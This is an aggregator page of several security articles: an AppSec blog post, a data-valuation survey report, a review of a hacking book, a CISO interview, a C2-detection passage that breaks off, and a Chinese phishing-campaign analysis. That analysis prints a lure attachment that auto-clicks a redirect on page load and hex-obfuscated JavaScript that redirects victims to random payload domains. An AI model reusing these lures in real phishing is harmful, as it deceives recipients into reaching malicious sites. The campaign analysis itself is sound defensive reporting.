Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

How AppSec Reduces Unplanned Work

$
0
0

Unplanned work is the enemy of productivity in all aspects of life. Any activity that pops up unexpectedly and eats up your time and resources is a productivity killer. You’ve probably experienced this at home you drop your son at baseball practice, drive home, and then get a call that he left his glove at home and needs you to bring it to him. Or you’ve experienced it at work an email is sent out to all customers accidentally, and you have to spend hours doing damage control. In the end, you can’t eliminate all unplanned work life will always be full of surprises but reducing the number of unplanned tasks will make you more effective. How do you do this? At home, you can post a baseball-practice checklist for your son next to the door. At work, you can build in quality checks and other controls to prevent mistakes that will create unplanned work. In the world of software development, a robust and effective application security program is one of those controls that can prevent unplanned work.

Unplanned work in software development

Software development is about delivering software on time, and it’s about planned activity toward that delivery. But it is also about delivering quality, secure software. And that means that anytime you find a security issue that you need to resolve, it’s an instance of unplanned work. This unplanned work is going to cost time and money, and reduce your capacity to do planned work. In contrast, reducing the amount of unplanned work will boost your capacity for planned work. The bottom line here is that if you reduce the number of security-related defects introduced into your software, your software development will become more effective. Furthermore, if you can tackle your unplanned work in a more efficient way in this case, remediating software-related defects you reap even greater productivity benefits.

In the end, implementing an effective application security program will save you money and increase business agility. It will increase the capacity for your business to deliver software that has value. But the key word there is “effective” application security done right will produce these benefits, application security done wrong will slow your process down and end up costing you money. This involves expanding your application focus beyond finding and fixing it’s prevention that is going to make the biggest difference to your bottom line.

Application security tactics that reduce unplanned work

If you think about application security through the lens of unplanned work, you want it to both reduce the number of “surprise” tasks, plus make those tasks easier to handle. With that in mind, you want to make sure your application security program includes:

Developer education:The flaw that’s easiest to fix is that one that’s never introduced. Most developers have had no training, either in school or on the job, on secure coding. So if your application security plan only involves scanning your code, your developers won’t know how to address the scan results, and won’t know how to avoid the same mistakes in the future. Address this problem with training on secure coding for your development teams, some kind of remediation coaching, and the creation of security champions on development teams who can help keep security issues top of mind, and help addressing security problems when they arise.

To put some numbers behind this idea we’ve found that development teams that take advantage of secure codingeLearning improve their fix rates by 20 percent. Those that useremediation coaching see fix rates improve by as high as 88 percent.

Integration and automation:This falls under the “make the unplanned work less painful” category. Application security that is automated and integrated into the tools development and security teams are already using makes it easier to find and address security-related defects. If you have to stop what you’re doing and switch tools to conduct a security test you’re adding to, rather than easing, your unplanned work. Also, with security testing integrated into early development phases, you’re addressing security defects much more quickly and inexpensively than if you wait until later in development phases.

Application security can reduce unplanned work and boost your bottom line, but only if you ensure that you implement a program that goes beyond identifying security-related defects to focus on both ease of identification and remediation and on prevention.


调查:对数据价值的评估错误带来极大风险

$
0
0
信息安全团队常会低估或高估数据资产的真正价值,令安全控制措施排序更加困难。
调查:对数据价值的评估错误带来极大风险

新调查研究显示,很多信息安全团队因为错误估计企业信息资产的真正价值而削弱了数据可用性与安全性。

波耐蒙研究所受文档安全供应商DocAuthority委托执行了一项调查研究。共有2,820名来自7个不同职能领域的专业人士接受了调查。这些来自IT安全、产品与制造、法律、市场、IT、财务与会计,以及人力资源的专业人士被要求就36类信息给出每条记录的价值评估。信息类型包括研究与开发文档、源代码、客户记录、并购数据和个人可识别信息(PII)。

结果显示,IT部门高估了特定信息类型的价值,比如PII;同时严重低估了其他信息的价值,比如财务报告和研发数据。总体上,IT安全部门给出的数据资产价值比数据拥有者给出的要低 50% 。

比如说,IT安全部门估计重建研发文档会耗费公司30万美元左右;而研发部门则估计该耗费在70万美元左右。类似的,财务报告泄露在IT安全人员眼里价值13万美元,而在会计和财务人员眼中就是30万美元。

相反,安全人员过于高估特定类型数据的价值。比如员工月公司列表在安全团队看来价值9.4万美元,而HR眼中此类信息价值仅为5.8万美元。

这种数据价值认知上的差距关系重大,因为会影响到安全公司保护不同类型数据和让这些数据在企业中有效流转和存储的方式。 错误的数据价值评估可能会带来错误的安全控制措施实现 。

目前IT安全团队和业务部门对业务数据价值的认知大为不同。IT安全人员看待数据价值的角度与业务人员并不一致。

很多安全公司采用静态分类方案应用数据安全及访问控制。DocAuthority的调查研究揭示我们需要更为细致入微的方法来处理企业数据资产。

信息资产类型不同则价值各异。一些数据集,比如研发数据、定价模型、源代码、并购文档和已签署的就业协议等,对公司的价值就比产品制造与工程工作流、已签署客户合同、预算及会计数据和网络设计文档等其他数据资产大得多。

某些类型的数据,其价值因相关性的降低而随时间减少。比如制造部门的研发文档,如果是1年以内的,其价值超过87万美元;而同样的数据,1年之后价值就锐减到49万美元了。

类似的,1年以内的新鲜法律文件价值51万美元,1年以上的只有12万美元。

重建数据和处理数据泄露后果的开销也随数据类型和职能部门而不同。对市场营销人员而言,定价模型和客户列表是重建花费最高的数据类型;对人力资源部门而言,退休金数据才是最值钱的。

与之类似,涉及研发文档的数据泄露会让公司损失66万美元,而涉及产品制造工作流的数据泄露价值11万美元,差距甚大。有趣的是,不同业务用户对不同数据类型给出的价值评估在垂直行业内和相同地域上或多或少地保持了一致。

数据显示, 公司企业需将数据当成资产而不仅仅是一种责任来管理 。IT安全团队需考虑基于用例、新旧、重建成本、遗失或被盗代价来给不同数据类型赋予不同的数据价值。

DocAuthority调查链接:

https://info.docauthority.com/ponemon-report?utm_source=pr_press_release

深入剖析:一场针对法国工业领域的网络钓鱼活动

$
0
0

深入剖析:一场针对法国工业领域的网络钓鱼活动

网络安全公司F-Secure的研究人员在最近观察到了一场针对法国工业领域的网络钓鱼活动,目标涵盖化工制造、航空航天、汽车、银行等领域,以及软件提供商和IT服务提供商。研究人员表示,从2018年10月开始,他们捕获了多封钓鱼电子邮件。从内容和附件来看,它们均采用了相似的模板。

网络钓鱼电子邮件

钓鱼电子邮件通常涉及到一些文档,可能是附件,也可能需要通过电子邮件提供的链接来获取。对于电子邮件的正文而言,法语的使用显得非常地道,使得这些电子邮件很具说服力。


深入剖析:一场针对法国工业领域的网络钓鱼活动
深入剖析:一场针对法国工业领域的网络钓鱼活动

电子邮件的主题直接挪用了附件名称的前缀。附件可能是HTML文件,也可能是PDF文件。通常被命名为“document”、“preuves”或“fact”,后跟下划线和一个六位数数字,又或者直接就是一个六位数数字。以下是研究人员所观察到的一些附件名称:

fact_395788.xht document_773280.xhtml 474362.xhtml 815929.htm document_824250.html 975677.pdf 743558.pdf

以下是在11月15日活动中捕获的一个XHTML附件样本所包含的内容:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> <meta content="UTF-8" /> </head> <body onload='document.getElementById("_y").click();'> <h1> <a id="_y" href="https://t[.]co/8hMB9xwq9f?540820">Lien de votre document</a> </h1> </body> </html> 活动的演变

在10月初发现的第一批网络钓鱼电子邮件,包含没有经过混淆处理的payload地址。例如:

hxxp://piecejointe[.]pro/facture/redirect[.]php hxxp://mail-server-zpqn8wcphgj[.]pw?client=XXXXXX 这些链接要么位于HTML/XHTML/HTM附件中,要么直接存在于电子邮件的正文中。另外,电子邮件所使用的附件名称大多数都是“document_[随机数].xhtml”。

到10月底,攻击者对这些payload地址进行了混淆处理。为此,攻击者使用了一个简单的javascript

var _0xa4d9=["\x75\x71\x76\x6B\x38\x66\x74\x75\x77\x35\x69\x74\x38\x64\x73\x67\x6C\x63\x7A\x2E\x70\x77", "\x7A\x71\x63\x7A\x66\x6E\x32\x6E\x6E\x6D\x75\x65\x73\x68\x38\x68\x74\x79\x67\x2E\x70\x77", "\x66\x38\x79\x33\x70\x35\x65\x65\x36\x64\x6C\x71\x72\x37\x39\x36\x33\x35\x7A\x2E\x70\x77", "\x65\x72\x6B\x79\x67\x74\x79\x63\x6F\x6D\x34\x66\x33\x79\x61\x34\x77\x69\x71\x2E\x70\x77", "\x65\x70\x72\x72\x39\x71\x79\x32\x39\x30\x65\x62\x65\x70\x6B\x73\x6D\x6B\x62\x2E\x70\x77", "\x37\x62\x32\x64\x75\x74\x62\x37\x76\x39\x34\x31\x34\x66\x6E\x68\x70\x36\x63\x2E\x70\x77", "\x64\x69\x6D\x76\x72\x78\x36\x30\x72\x64\x6E\x7A\x36\x63\x68\x6C\x77\x6B\x65\x2E\x70\x77", "\x78\x6D\x76\x6E\x6C\x67\x6B\x69\x39\x61\x39\x39\x67\x35\x6B\x62\x67\x75\x65\x2E\x70\x77", "\x62\x72\x75\x62\x32\x66\x77\x64\x39\x30\x64\x38\x6D\x76\x61\x70\x78\x6E\x6C\x2E\x70\x77", "\x68\x38\x39\x38\x6A\x65\x32\x68\x74\x64\x64\x61\x69\x38\x33\x78\x63\x72\x37\x2E\x70\x77", "\x6C\x32\x6C\x69\x69\x75\x38\x79\x64\x7A\x6D\x64\x66\x30\x31\x68\x69\x63\x72\x2E\x70\x77", "\x63\x79\x6B\x36\x6F\x66\x6D\x75\x6E\x6C\x35\x34\x72\x36\x77\x6B\x30\x6B\x74\x2E\x70\x77", "\x7A\x78\x70\x74\x76\x79\x6F\x64\x6A\x39\x35\x64\x77\x63\x67\x6B\x6C\x62\x77\x2E\x70\x77", "\x35\x65\x74\x67\x33\x6B\x78\x6D\x69\x78\x67\x6C\x64\x73\x78\x73\x67\x70\x65\x2E\x70\x77", "\x38\x35\x30\x6F\x6F\x65\x70\x6F\x6C\x73\x69\x71\x34\x6B\x71\x6F\x70\x6D\x65\x2E\x70\x77", "\x6F\x6D\x63\x36\x75\x32\x6E\x31\x30\x68\x38\x6E\x61\x71\x72\x30\x61\x70\x68\x2E\x70\x77", "\x63\x30\x7A\x65\x68\x62\x74\x38\x6E\x77\x67\x6F\x63\x35\x63\x6E\x66\x33\x30\x2E\x70\x77", "\x68\x36\x6A\x70\x64\x6B\x6E\x7A\x76\x79\x63\x61\x36\x6A\x67\x33\x30\x78\x74\x2E\x70\x77", "\x74\x64\x32\x6E\x62\x7A\x6A\x6D\x67\x6F\x36\x73\x6E\x65\x6E\x6A\x7A\x70\x72\x2E\x70\x77", "\x6C\x69\x70\x71\x76\x77\x78\x63\x73\x63\x34\x75\x68\x6D\x6A\x36\x74\x6D\x76\x2E\x70\x77", "\x31\x33\x72\x7A\x61\x75\x30\x69\x64\x39\x79\x76\x37\x71\x78\x37\x76\x6D\x78\x2E\x70\x77", "\x6B\x64\x33\x37\x68\x62\x6F\x6A\x67\x6F\x65\x76\x6F\x63\x6C\x6F\x7A\x77\x66\x2E\x70\x77", "\x66\x75\x67\x65\x39\x69\x6F\x63\x74\x6F\x38\x39\x63\x6B\x36\x7A\x62\x30\x76\x2E\x70\x77", "\x70\x6D\x63\x35\x6B\x71\x6C\x78\x6C\x62\x6C\x78\x30\x65\x67\x74\x63\x37\x32\x2E\x70\x77", "\x30\x71\x38\x31\x73\x73\x72\x74\x68\x69\x72\x63\x69\x62\x70\x6A\x62\x33\x38\x2E\x70\x77","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x3A\x2F\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"]; var arr=[_0xa4d9[0],_0xa4d9[1],_0xa4d9[2],_0xa4d9[3],_0xa4d9[4],_0xa4d9[5],_0xa4d9[6],_0xa4d9[7],_0xa4d9[8],_0xa4d9[9],_0xa4d9[10],_0xa4d9[11],_0xa4d9[12],_0xa4d9[13],_0xa4d9[14],_0xa4d9[15],_0xa4d9[16],_0xa4d9[17],_0xa4d9[18],_0xa4d9[19],_0xa4d9[20],_0xa4d9[21],_0xa4d9[22],_0xa4d9[23],_0xa4d9[24]]; var redir=arr[Math[_0xa4d9[27]](Math[_0xa4d9[25]]()* arr[_0xa4d9[26]])]; window[_0xa4d9[30]][_0xa4d9[29]](_0xa4d9[28]+ redir) 上面这段Javascript代码被作为附件的一部分提供,用于对“[随机字符串].pw”域名进行去混淆,进而将收件人重定向到payload域名。在10月底的活动,payload域名已经被更改为了hxxp://email-document-joint[.]pro/redir/。 然而,在附件中使用Javascript代码似乎并没有取得太大的成功。因为,在仅仅过了几天之后,攻击者就移除了用于对域名进行去混淆和重定向的Javascript代码,转而使用pste.eu。pste.eu是一个类似于pastebin的HTML代码服务平台。因此,随后的钓鱼电子邮件都包含指向pste.eu的链接,如hxxps[://]pste[.]eu/p/yGqK[.]html。

在11月的活动中,研究人员再次观察到了一些变化。一些电子邮件开始包含有指向随机.pw或.site域名子域名的链接,例如:

hxxp://6NZX7M203U[.]p95jadah5you6bf1dpgm[.]pw hxxp://J8EOPRBA7E[.]jeu0rgf5apd5337[.]site

与此同时,PDF文件也开始以附件的形式出现在网络钓鱼电子邮件中,这些PDF文件包含一个类似的指向随机.site或.website域名子域名的链接。

在几天之后的11月15日,攻击者开始使用Twitter短网址在pste.eu URL之间添加重定向。他们通过Twitter帐户发布了298个pste.eu URL,然后将这些t.co URL添加在他们的网络钓鱼电子邮件中。攻击者所使用的Twitter帐户似乎都是一些广告帐户,自2012年创建以来只有很少的动态更新,并且大多数推文和转推都与Twitter广告活动、产品或彩票等有关。


深入剖析:一场针对法国工业领域的网络钓鱼活动

Twitter上的pste.eu链接


深入剖析:一场针对法国工业领域的网络钓鱼活动

URL重定向示例

在这场活动中使用的最新链接是会导致302重定向的随机.icu域名,交付方法仍然是电子邮件中的XHTML/HTML附件或链接。另外,这场活动的发展十分迅速,攻击者在生成新域名和探索新的重定向和混淆方法方面表现得尤为活跃。在撰写本文时,payload URL会导致重定向广告,涉及到多个不同的域名和URL,而这些域和URL均包含了大量的恶意广告。

基础设施

在这场活动中,攻击者主要使用的是被其劫持的Wanadoo电子邮件帐户,以及后来使用的的自主域名电子邮件帐户(如rault@3130392E3130322E37322E3734.lho33cefy1g.pw)来发送钓鱼电子邮件。其中,子域名即是电子邮件服务器的名称,是服务器公共IP地址经过十六进制换算的结果。对于这里所举的例子而言,服务器公共IP地址是109.102.72.74。

包含在电子邮件中的链接能够将收件人重定向到多个URL,且大多数网站都托管在相同的服务器上。

在11月晚些时候,payload域名(如email-document-joint[.]pro或.pw)会将收件人重定向到诸如ffectuermoi[.]tk或eleverqualit[.]tk这样的域名。这些网站都托管在相同的服务器上,具有许多类似的域名。对这些服务器的进一步调查显示,它们长期以来就被用于托管PUP/Adware程序和恶意广告URL。
深入剖析:一场针对法国工业领域的网络钓鱼活动
在ffectuermoi[.]tk上执行点击操作,收件人最终将会被重定向到doesok[.]top。该网站不仅会展示广告,而且会利用cookie来收集用户信息。值得注意的是,托管doesok[.]top的服务器长期以来也被用于托管PUP/广告软件/恶意软件。
深入剖析:一场针对法国工业领域的网络钓鱼活动
额外的发现

在调查的过程中,研究人员在Virustotal上还发现了一个从法国提交的恶意文件。该文件是一个.zip压缩文件,包含以下内容:

“All in One Checker”工具-一款可用于验证电子邮箱账户和密码是否有效的工具 .vbsdropper-用于在执行“All in One Checker”工具时将后门释放到用户系统的脚本 由“All in One Checker”工具创建的文件夹-以“All in One Checker”工具执行时的当前日期和时间命名,包含几个文本文件: txt-用于记录任何错误 txt-用于记录验证结果 txt- Ostatok代表的是“the rest”或“remainder”
深入剖析:一场针对法国工业领域的网络钓鱼活动

.zip文件包含的内容:“03.10_17:55”是由“All in One Checker”创建的文件夹;两个.vbs是完全相同的后门dropper;剩下的是“All in One Checker”的配置文件和可执行文件。


深入剖析:一场针对法国工业领域的网络钓鱼活动

“03.10_17:55”文件夹包含的内容

几乎所有包含在这些.txt文件中的电子邮件帐户都自来.fr域名,其中一个地址实际上与研究人员在10月19日的钓鱼电子邮件中看到的发件人地址完全相同。显然,这个.zip文件很可能来自上述同一伙人。

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。

Book Review: Hacking for Dummies 6th Edition

$
0
0

Book Review: Hacking for Dummies 6th Edition
Hacking for Dummies by Kevin Beaver is an information security professional’s introduction to ethical hacking. It is 22 chapters of information ranging from definitions (kept to a minimum) to reporting findings and everything in between. It also includes an appendix full of tools and resources useful for testing, reporting, and researching. It is not the end-all be-all of ethical hacking. There are topics on which it scratched the surface and others where it spends a little more time. On just about every topic, the author refers to additional resources that are also listed in the appendix. What follows is what I felt were the good points of the book, the not so good, and a final recommendation. As Sun Tzu wrote some 2500 years ago, “Know yourself and know your enemy and you need not fear the outcome of 100 battles.” 1 The Good

This 6 th version of the popular book has a lot going for it. The first section on understanding your adversary is point on. Part of any risk assessment, whether doing a penetration test or just an general risk assessment for your information systems is understanding the threat (Nikoli & Rui-dimitrijevi, 2009; NIST, 2014; Nourbakhshian, Rajabinasr, Hooman, & Seyedabrishami, 2013; Ross et al., 2012) 2 . In this case the author introduces two overarching types of threats: the insider/malicious user and the criminal hacker or cracker. The major differentiator between these two is the level of access they have: one is internal and the other external. The major differentiator between these two is the level of access they have: one is internal and the other external (Beaver, 2018) 3 . This was covered briefly but with enough depth for the reader to recognize each adversary.

From the introductory section the author gets into more of the bread and butter of penetration testing. The author spends time with helping the reader build a business case for penetration testing and goes into the initial steps that rely on non-technical means of gaining access or obtaining sensitive information. These include scouring the internet for any publicly available information on the target to social engineering to physical security. Next, the author talks about passwords. Each of these topics is a surface scratch, as they are each a deep topic and could fill volumes with information relevant to them. From here the author spends the bulk of the rest of the book on the technical aspects of “ethical” hacking.

Each chapter in these sections provides information on finding and exploiting vulnerabilities for the chapter topic. These topics ranged from wireless and wired networks to web applications and the backends that support them. Each section includes relevant tools for doing the test as well as practical countermeasures. The author uses relevant experience in each chapter to highlight what worked in the past as well as what didn’t. From testing and gathering data, the author next takes you into reporting and the other less glamorous aspects of testing, fixing what is found.

For this section, the author provided some insight into what to include in a report to the client as well as what steps can be taken to fix what was found. The author also provided some tips on outsourcing information security. Of the sections, this one was my least favorite. While I found that what he suggested to be included in the report were accurate, I also found that my organization has their own reporting format. This might be worth mentioning, especially in a “Dummies” series. And on that note, I am off to what I didn’t like.

The Bad

For the most part this read like a CEH boot camp. Get to the nitty gritty and just scratch the surface, but it won’t prepare you to be a professional pentester. The author spoke of tools to use and even provided walk-throughs for some of those tools (mostly windows based). And I am not knocking the use of tools, as I am a big fan of the right tool for the right job. However, most seasoned pentesters use linux much more than Windows (and some exclusively). Although many of the examples from the book are Windows based, there is an extensive listing of tools in the appendix with both Windows and Linux tools. This once again illustrates that this is more of a book to give you a basic understanding of the topics and not necessarily how to become a pro. But even as an introductory book, I felt a more realistic balance of platforms would be useful in helping the reader decide if this is the path for them.

While some of the content has been updated for the 6 th Edition like the inclusion on Windows 10 and Server 2016, some things were not that should have been. A prime example that sticks out is the use of a Windows GUI for nmap. The GUI referenced is no longer maintained and is available for historic reasons. There was no reference to the GUI, Zenmap, that is packaged with nmap. The author (or at least the technical editor) should have taken the time to verify tools prior to referencing them or including links. I do understand that links sometimes change and am allowing for that, but the use of a deprecated tool without mentioning that or providing an alternative is not good. This is especially true for the intended audience, those who are completely new to this topic.

The only other downside I noticed were a few typos. There were instances of words with a space between letters in that word or words with an extra letter at the beginning. These should have been caught during the editing process.

Recommendation

Hacking for Dummies is a great book when viewed as an introduction to penetration testing. The one example of the outdated tool and a few typos do not take away from the overall content of the book. It provides the reader with enough information to build upon but also to decide if outsourcing may be the route to go. Armed with the knowledge contained within this book, the reader can begin to explore penetration testing. More importantly, if outsourcing the penetration testing is chosen. they will know if someone is blowing smoke or really knows what they are doing. The author follows a set path and continues to build upon the foundation established early on. The Kevin Beaver 4 shoots to hit 20% of the items that will cause 80% of your problems, and I feel he does.

This is a book that I will add to my shelf as a quick reference and a resource as I continue to build my own skillset and for supporting the programs under my watch in my own organization. And while Google can and does provide some resources, the list here may get you some tools you did not think of or may have forgotten. If you are an experienced penetration tester or want to do penetration testing as a profession, then this book probably isn’t for you. Being part of “Dummies” series, it’s intended to give the reader just enough to understand the topic. That it does incredibly well. So, if you are a jack-of-all trades IT professional that wants to get a basic understanding of penetration testing, or you already work in informati

访谈|一位全球500强企业信息安全官的安全观

$
0
0

国内信息安全水平比较发达的城市,当属北京和上海。两者的信息化普及程度和人员的IT水平均为国内领先,尤其是后者,由于大批跨国企业的存在,其安全市场也更加具有开放竞争的属性。除了网络安全提供商以外,活跃在安全市场上的,是这个市场的另一重要角色信息安全官。近日,安全牛记者走访了一家500强企业的CISO,顾伟。

个人简介:
访谈|一位全球500强企业信息安全官的安全观

顾伟,某世界 500 强企业日本及亚太地区业务信息安全官。负责日本及亚太地区所有业务部门相关联的信息安全,风险管理和合规隐私。顾伟先生有超过 14 年的信息安全领域工作经验,在多个世界 500 强跨国外企中担任过信息安全架构和信息安全管理等工作。同时,还是国内最早从事云安全治理、数据安全、ISO27001、CARTA模型等方面咨询的专家顾问。

一、安全的价值在于推动业务 安全牛:作为一名知名外企的CISO,主要日常工作都有哪些?

顾伟:网络安全工作是多种多样的,传统意义上的信息安全主要指技术上的IT安全,但企业合规、内部控制、风险管理,甚至是业务开发和财务管理也都有相应的安全工作。

比如,遇到收并购的时候,就需要对被购方进行信息安全的风险评估,因为许多企业即使营收方面非常好,但有可能信息安全能力非常低下。如果又是以数据为核心资产的话,其数据安全的风险就会非常大,再加上一些潜在的法律、合规方面的风险。像埋下了一颗地雷,不管是被私下盗取还是公开泄露,都会对给公司的价值评估带来巨大的影响,雅虎被收购时价值缩水10亿美元就是非常典型的例子。

此外,中国的移动互联网产业高速发展,已经超越了国外。在手机App上可以做很多事情,电子商务、移动支付、甚至是CRM之类的办公业务办公,所以在安全运营的可控范围内,如何让跨国企业更好的借助这些优势,是我们这些CISO们要做的事。

安全牛:我们知道安全工作与业务效率是个平衡关系,越安全就越不方便,你是如何看待并解决这个问题的呢?

顾伟:做信息安全有时相当于在放栅栏,必然会让业务部门感到不便,所以要尽量以业务部门习惯的方式来处理安全问题,让他们觉得安全对业务和项目有推动作用,最终达到一种彼此之间拥有信任感的关系。

安全牛:话虽这样说,安全如何推动业务?有哪些具体例子?

顾伟:比如我们的微信平台。做微信平台是为了与病患以及医生有更多互动,建立起一个智能化的双向沟通渠道。信息安全在其中所做起到的作用,就是保证所有数据的平稳交付。如最基本的CIA,完整性、可靠性和机密性,要贯穿整个数据管理生命周期。

数据生成之后,不管是在企业内部流动,还是通过微信平台流转到外部,都要保证CIA。通过信息安全团队的审核,以确定哪些数据可以在哪些地方进行怎样的发布。哪些信息是恰当的,可以给到哪些特定人群。以避免企业的利益受到损失。这些事情都要和其他部门配合进行,包括业务部门,甚至还有法务部门。

还有一个非常重要的事情,是从公司文化的角度去潜移默化员工,把员工的安全意识和形为融入到公司整个的安全战略里。比如,邀请其他部门的员工参观我们的安全运营中心,去看看安全专家每天是如何过滤垃圾邮件、防御网络攻击,保护信息资产不被恶意入侵,保障供应链安全,保障企业的生产,这些才是信息安全工作的价值。安全的终极意图不是在控制或监视员工,而是把员工都当作体系里面的一份子,充分发挥自己的作用。

二、最关注数据安全与政策合规 安全牛:你最关心哪些可能的安全风险?

顾伟:安全的方方面面有很多,对于我们来说,一个很大的风险是数据泄露。分为外部黑客攻击和内部无意或恶意的泄露两大块。

外部攻击方面,用的是比较成熟和通用的技术。如防火墙、IPS、WAF之类的。作为一个500强跨国企业,我们一个月能收到700万封钓鱼邮件,中国大陆和美国都是重灾区,还有海量的报警。目前主要靠全球化的SOC,利用自动化工具去做安全防护,如终端扫描、补丁更新、攻击告警处理等。内部威胁方面则是使用了DLP数据防泄露技术来防止数据的外泄。将来还要提升本地安全运维能力,包括对业务的支撑能力。

内部泄露方面,因为我们对数据保护更加注重,所以刚才说到了使用DLP。并且,我们还在自己的SOC里运用了安全自动化技术,智能化的收集和分析日志,结合外部情报做判断,最后再做处置,我们叫ASOC(Advanced SOC)。

安全牛:企业的业务现在都上云了吗?

顾伟:上云了,但不是全部。无论国内还是国际,大家其实都面临一样的问题,如果数据敏感度很高,是不是还要放到云上?云化并不是指一定要把所有的东西都放在云上。要么全部上云,要么干脆不上云,这两种思路都有问题的。我们要去评估,哪些数据可以放在云上,也有足够能力去保护。哪些数据不适合放在云上,要进行本地保护。

而且,每个国家的安全能力和网络态势是不一样的,这也是一个评估因素。是不是需要考虑更多的风险,外部环境是否可控,有没有资源去做这样的事情等等?而且,安全的决策在西方主要是以业务为导向,但是在国内更多的权重则放在本地法律的合规上。

我们大部分业务已经迁移到云上,亚太区在中国就租用了AWS。为什么单独在中国做,是为了中国的网安法。合规和数据保护一样,也是对业务的重要促进和推动。数据的流动才能创造价值,但是对数据的本地化保护是许多国家和地区的要求,包括日本、印度、新加坡、香港、泰国,甚至是台湾,都有各自的隐私保护法。中国大陆也不例外。

三、安全需要信任感 灌输和强制反人性

安全牛:本地化过程的主要困难在哪里?

顾伟:主要是业务和安全解决方案的契合问题,解决方案是否能够真的帮助业务部门。在全球,本地化都是一个很大的趋势。中国用微信,韩国则用Line,美国则是Whatup。不管用什么,数据都要放在本地。于是,我们就更倾向于找本地供应商,来省去诸多的合规流程。

对内则是要比业务部门较早地了解新的技术。不管是大数据还是AI,如何把这些技术和业务,在安全的条件下强有力的整合起来。这就需要不断的加强学习,在技术语言和业务语言之间,做到灵活的转换,这对安全和业务部门双方都非常有好处。

安全人员可以学习到如何把安全嵌入到技术中去,以及实现内在的控制。而业务部门通过与安全人员的协同工作和交流沟通,双方可以逐渐建立信任。我强调一下,在任何业务驱动的组织中,安全人员与业务人员之间的信任感,是安全能否更好支撑业务最为重要的基础之一。灌输和强制都是反人性的。

另外我们也在做大数据,通过数据分析精准研发方向,节省人力成本。现在各种企业的数据已经非常之多,但如何妥善使用是一个很考究的课题,即要带来价值又不能越界。我们的理念就是“永远以善为本,不作恶”。我们做的数据分析、挖掘,都是要造福于病患,广告、推销,那些灰色地带是绝对不碰的。

四、国内安全公司的定制化能力优于国外

安全牛:如何看待国内的安全供应商?安全能力与国外相比有何区别?

顾伟:国内的安全公司有一个优势,就是定制化能力比国际厂商高,可做到快速迭代,快速响应客户需求,还有服务能力、工程化能力等,毫不夸张的讲,中国的网络安全企业,已经完全有能力能够独当一面地为国内企业服务,甚至于能够输出到国外。

但是,国内的网络安全提供商在国际化或说产品标准化方面,以及创新能力方面,与国外厂商还有差距。尤其是后者,国外有好多小公司,在服务用户的独特需求方面做得很深。反观国内,跟风现象非常严重,每当一个新概念出来之后就会有一大堆公司一拥而上。我觉得这其实不是我们的技术能力不够,而是我们的创新思维较窄,创新意识弱。

我认为,国内的安全公司会有一个很光明的未来。现在很多外企都在使用中国厂商的产品和服务,对于外企来说必须要有一个强有力的合作伙伴,更贴近业务,更快速的响应。这种合作模式,会给厂商未来的国际化运营打下重要基础。

安全牛:选择安全产品主要会看重哪些因素?

顾伟:使用效果和性价比是最最关键的两个因素,尤其是使用效果,哪怕会贵上一些。比如某一产品有几个供应商,如果没有其他特定原因的话,一定会选那个使用效果最好的。当然,性价比也是一个重要的考量纬度。毕竟一般来说,产品的价格和使用效果是成正比的。

五、关心三大技术方向:CARTA模型、UEBA和AI

安全牛:除了选择供应商和产品,还有哪些建议可以分享给同行的?

顾伟:建议谈不上,我谈谈自己的体会吧。首先扎根公司的业务,做到自我认知。不管是到了新的环境还是在一个环境里,都要不断的更新自我认知。公司的业务其市场在哪里,核心因素是什么,关键数据有哪些,公司的强项在哪里,竞争对手都有谁等等。

再者要借鉴最优,参考最佳实践。包括参加各种协会组织的各种活动,与业务高管和安全相关的专业人员交流,阅读咨询公司的报告、专业媒体的文章等等,比如你们安全牛的报告和文章我就经常看。

还有一点非常关键,就是排好优先权,把最好的资源投入到最能推动企业业务的工作上。以上三点做好之后,再去弥补其他的一些细节,安全体系中可能存在的弱点。安全的价值一种是体现在帮助或推动业务交付方面,另外一种就“润物细无声”式的,为什么在社会上从来没有听到过你的数据被泄漏,被黑客攻击勒索之类的事情,因为我们具备很好的防御体系,成熟的安全运维人员,紧密合作的高级安全专家,这时安全的价值也可以体现出来。

安全牛:刚才提到了报告和专业文章,站在未来的角度,你更关心哪些技术趋势?

顾伟:最近在关注三种技术,第一个是CARTA模型,持续自适应风险与信任评估。现在很多公司在上云时犹豫不决,上了云又不知道该如何做安全,而CARTA就可以很好的帮助决策、选型,再到具体的安全控制措施。

另外一个是UEBA。把海量的日志结合起来,对用户和实体行为进行分析和预测,可以大大节省SOC的运营成本。SOC最大的问题就是需要合格的安全运维专家,需要24小时的去看日志。塔吉特就是一个例子,安全系统已经报警,但没有人处理,结果出了那么大的事情。SOC的安全运营人员需要有3到5年的安全工作经验,我们知道现在安全人员短缺,这样的人很难招到,而UEBA技术可代替一部分人力。

最后是AI,人工智能,把AI技术嵌入到我们的产品设计中来。很多情况下,安全问题的产生不是因为我们的技术不够,而是我们从一开始设计的时候就有问题,所以要从设计角度着手,一直到开发、测试、上线,风险评估、漏洞扫描、合规管理等,把能够触发警报的条件全部交给AI,贯穿整个生命周期。

要和供应商达成信任与合作,必须做审核,要做安全风险管理的评估。包括了解它的内部运维环境,如何存放数据,依据哪些标准,有没有加密、命名、容灾备份等。最终确认这个供应商是否处于一个比较低的风险状态。

Security Think Tank: Prevention and detection key to disrupting malware comms

$
0
0

Attackers use command and control servers to maintain communications with systems that have been compromised within a network that has been targeted. This allows them to “direct” malware that can enter the enterprise systems via a number of channels.

Identifying these types of attack requires a two-pronged approach of prevention and detection to reduce risks to a tolerable level. The right preventative controls stop the code or malware deployment in the first place; these need to be combined with effective monitoring and scanning (the detective element).

The minimum level of threat detection capability deemed necessary to protect the organisation which could be influenced by the criticality of the server, the application running on it, the type of data stored or the frequency of use needs to be deployed at all network access points, and updated regularly.

Activities could include scanning all incoming emails for viruses as well as access-triggered virus scanning, which flags when access to a server is requested.

